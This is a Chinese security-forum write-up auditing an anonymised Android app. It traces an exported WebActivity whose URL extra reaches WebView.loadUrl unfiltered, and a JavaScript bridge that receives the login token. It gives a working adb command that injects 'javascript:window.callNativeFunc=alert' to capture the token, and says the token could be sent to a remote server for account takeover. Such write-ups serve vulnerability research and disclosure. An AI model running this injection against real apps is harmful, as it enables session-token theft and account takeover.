[原创]【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管-Android安全-看雪安全社区

“ 道也梦中来，青居心上请。 觉时花未央，剑罢孤楼影。——《我有一身被动技》 ”
# 01操作步骤
1、WebActivity可导出
 ![图片描述](upload/attach/202605/1037623_NDUU2BEVVA9VFBN.webp)
```
<activity
            android:name="com.xxx.community.ui.web.WebActivity"
            android:exported="true"
            android:configChanges="screenSize|orientation|keyboardHidden"/>

```
2、查看com.xxx.web.WebActivity，入口initView()，传参没有过滤直接赋值给this.webUrl
如果是app://，走内部业务跳转，
否则调用createAgentWeb().ready().go(this.webUrl);
 ![图片描述](upload/attach/202605/1037623_37ATJ2G5F9BYW77.webp)
```
String stringExtra = getIntent().getStringExtra(ProviderConstant.WEB_URL);
this.webUrl = stringExtra;
.setOpenOtherPageWays(DefaultWebClient.OpenOtherPageWays.ASK).interceptUnkownUrl().createAgentWeb().ready().go(this.webUrl);
```
3、从go()一步步跟到UrlLoaderImpl()
 ![图片描述](upload/attach/202605/1037623_BDPXSRDBXHRXQB2.webp)
```
UrlLoaderImpl(WebView webView, HttpHeaders httpHeaders) {
        this.mHandler = null;
        this.mWebView = webView;
        this.mHttpHeaders = httpHeaders;
        if (httpHeaders == null) {
            this.mHttpHeaders = HttpHeaders.create();
        }
        this.mHandler = new Handler(Looper.getMainLooper());
    }
```
4、str没有过滤，最终传参到WebView.loadUrl(str)直接执行
 ![图片描述](upload/attach/202605/1037623_26EYRPDDEKFBZ33.webp)
```
if (map == null || map.isEmpty()) {
            this.mWebView.loadUrl(str);
        }
```
5、继续分析，发现注册了AndroidInterface作为JavaScript桥接
 ![图片描述](upload/attach/202605/1037623_7UP2AENHUN78T47.webp)
```
JsInterfaceHolder jsInterfaceHolder = agentWeb2.getJsInterfaceHolder();
        AgentWeb agentWeb3 = this.mAgentWeb;
        if (agentWeb3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("mAgentWeb");
            agentWeb3 = null;
        }
        jsInterfaceHolder.addJavaObject(DispatchConstants.ANDROID, new AndroidInterface(agentWeb3, this));
```
6、进到AndroidInterface类，发现callNativeFunc方法
callNativeFunc是Android原生提供给WebView，可以被JavaScript调用的方法
 ![图片描述](upload/attach/202605/1037623_X22QSAUCS9RGD4X.webp)
```
public void callNativeFunc(final String str) {
        this.deliver.post(new Runnable() { // from class: com.xxx.web.AndroidInterface.1
            @Override // java.lang.Runnable
            public void run() {
                Log.i("Info", "main Thread:" + Thread.currentThread());
                Toast.makeText(StubApp.getOrigApplicationContext(AndroidInterface.this.context.getApplicationContext()), "" + str, 1).show();
            }
        });
        Log.i("Info", "Thread:" + Thread.currentThread());
    }
```
7、agentWeb.getJsAccessEntrace()分析
agentWeb，AgentWeb实例，封装了WebView
.getJsAccessEntrace()，获取JavaScript访问入口对象，用于原生代码调用JavaScript
quickCallJs()第一个参数callNativeFunc()，第二个参数接收函数返回值
第三个参数CommonUtilsKt.getToken()获取token
 ![图片描述](upload/attach/202605/1037623_VHV6R5X2DVXN466.webp)
```
agentWeb.getJsAccessEntrace().quickCallJs("callNativeFunc", new ValueCallback() { // from class: 
            @Override // android.webkit.ValueCallback
            public final void onReceiveValue(Object obj) {
                WebActivity.m122initView$lambda0((String) obj);
            }
        }, CommonUtilsKt.getToken());
```
8、进到getToken()，获取MMKV默认实例，从存储中读取key为"token"的字符串值
 ![图片描述](upload/attach/202605/1037623_GAERA9V49S7F8JD.webp)
```
public static final String getToken() {
        String strDecodeString = MMKV.defaultMMKV().decodeString("token");
        return strDecodeString == null ? "" : strDecodeString;
    }
```
9、构造poc，当原生代码调用callNativeFunc(token)时，实际上执行的是alert(token)
```
adb shell am start -W -n com.xxx/com.xxx.web.WebActivity --es web_url "javascript:window.callNativeFunc=alert"
```
 ![图片描述](upload/attach/202605/1037623_A5R8UF8JUNQP2V9.webp)
10、成功获取token，由于存在社区功能，可以发帖，fetch到远程服务器上，1click账号接管
 ![图片描述](upload/attach/202605/1037623_JZF6CCYWMYJ5QUP.webp)
11、与实际请求token进行对比一致
 ![图片描述](upload/attach/202605/1037623_JZKBRKTXM986RC4.webp)

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2026-5-22 22:23 被差不多的张三编辑，原因：

#漏洞相关

最新回复 (2)
Cure. 雪币： 60 活跃值： (170) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 41 粉丝 2 关注私信	Cure. 2 楼又是个高危 2026-6-3 16:34 0
呼吸24K纯氧雪币： 28 活跃值： (1736) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 94 粉丝 2 关注私信	呼吸24K纯氧 3 楼感谢分享 2026-6-4 09:53 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复